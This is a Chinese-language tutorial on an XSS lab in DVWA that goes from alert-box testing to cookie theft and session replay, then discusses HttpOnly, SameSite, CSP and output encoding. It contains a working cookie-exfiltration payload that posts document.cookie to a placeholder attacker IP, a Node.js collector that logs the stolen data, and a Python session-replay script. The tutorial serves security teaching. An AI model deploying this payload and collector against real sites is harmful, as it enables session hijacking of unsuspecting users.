别再只弹alert了！用DVWA的XSS漏洞，5分钟搭建一个简易的Cookie窃取与重放攻击实验

从弹窗到实战DVWA环境下XSS漏洞的Cookie窃取与防御思考在安全测试领域弹出一个简单的alert窗口往往只是XSS漏洞验证的第一步。真正理解这种漏洞的危害性需要将其置于实际攻击场景中观察。本文将带您通过DVWADamn Vulnerable Web Application靶场环境从攻击者视角完整演示如何将基础的XSS漏洞转化为具有实际威胁的Cookie窃取武器并探讨现代浏览器的防御机制。1. 实验环境准备与漏洞验证DVWA作为专为安全测试设计的靶场环境其XSS模块为我们提供了理想的研究场景。首先确保您的DVWA运行在安全级别为Low的设置下这是大多数基础实验的起点。验证漏洞存在的经典payload确实简单scriptalert(XSS)/script但安全研究的意义不在于证明漏洞存在而在于评估其潜在影响。尝试以下改进版payload它能揭示更多信息script alert(document.cookie); console.log(当前域名window.location.hostname); /script这个脚本不仅显示cookie内容还会在控制台输出当前域名帮助我们理解攻击的作用域。常见误区许多初学者止步于弹窗验证却忽略了不同输入点URL参数、表单字段、HTTP头对payload的限制浏览器内置的XSS过滤器可能对简单攻击的拦截现代前端框架如React、Vue对XSS的默认防护2. 构建Cookie收集系统2.1 简易数据收集端搭建实际攻击中攻击者需要将窃取的数据回传到可控服务器。以下是使用Node.js快速搭建的接收端示例const http require(http); const fs require(fs); http.createServer((req, res) { if(req.url.includes(/collect)){ let data ; req.on(data, chunk data chunk); req.on(end, () { fs.appendFile(stolen_data.txt, data\n, (){}); res.writeHead(200); res.end(); }); } else { res.writeHead(404); res.end(); } }).listen(8080);将此代码保存为server.js并运行它会在8080端口监听请求将所有接收到的数据追加到stolen_data.txt。2.2 构造攻击Payload替换简单的alert使用以下脚本主动发送数据到收集端script var xhr new XMLHttpRequest(); xhr.open(POST, http://攻击者IP:8080/collect, true); xhr.setRequestHeader(Content-Type, application/json); xhr.send(JSON.stringify({ cookie: document.cookie, page: window.location.href, userAgent: navigator.userAgent })); /script关键改进点使用XMLHttpRequest代替简单的img src方式避免被CSP策略拦截收集额外信息访问页面、UA用于后续分析JSON格式结构化数据便于后续处理注意实际测试时请将攻击者IP替换为您实验环境的真实IP并确保网络可达3. 会话劫持实战演练获取到有效cookie后最直接的利用方式就是会话重放。以下是使用Chrome开发者工具手动注入cookie的步骤访问目标网站DVWA的登录页面打开开发者工具F12→ Application → Cookies添加新cookie填入窃取的键值对刷新页面观察是否获得认证会话对于自动化测试可使用Python的requests库模拟import requests stolen_cookie PHPSESSID窃取的会话ID; securitylow headers {Cookie: stolen_cookie} response requests.get(http://靶机IP/dvwa/index.php, headersheaders) if Welcome to Damn Vulnerable Web App! in response.text: print(会话劫持成功) else: print(失败可能cookie已过期)4. 现代浏览器的防御机制随着Web安全威胁的演进主流浏览器引入多种机制缓解XSS攻击防御机制作用原理绕过难度HttpOnly标志阻止JavaScript读取敏感cookie高SameSite属性限制跨站请求携带cookie中CSP策略限制外部资源加载和执行取决于配置X-XSS-Protection浏览器内置的反射型XSS过滤器低以HttpOnly为例当服务器设置如下响应头时Set-Cookie: sessionIdabc123; HttpOnly; Secure即使存在XSS漏洞攻击者也无法通过document.cookie读取该cookie值。实际测试建议在DVWA的不同安全级别下测试这些防御机制尝试修改PHP代码添加安全头header(Set-Cookie: testcookievalue; HttpOnly; SameSiteStrict);对比观察攻击效果的变化5. 从攻击视角看防御之道理解攻击手段的终极目的是构建更安全的系统。以下是从本实验衍生的防御建议输入处理对于不可信数据同时实施HTML实体编码和JavaScript编码使用安全的API如textContent代替innerHTML输出控制// 错误的做法 echo div . $_GET[user_input] . /div; // 正确的做法 echo div . htmlspecialchars($_GET[user_input], ENT_QUOTES) . /div;CSP策略配置示例Content-Security-Policy: default-src self; script-src self unsafe-inline cdn.example.com会话管理增强设置合理的会话超时实现会话固定保护敏感操作要求重新认证在DVWA的高安全级别模式下许多漏洞看似消失实际上是这些防御机制在起作用。通过对比不同安全级别的代码差异可以直观理解各种防护措施的实现方式。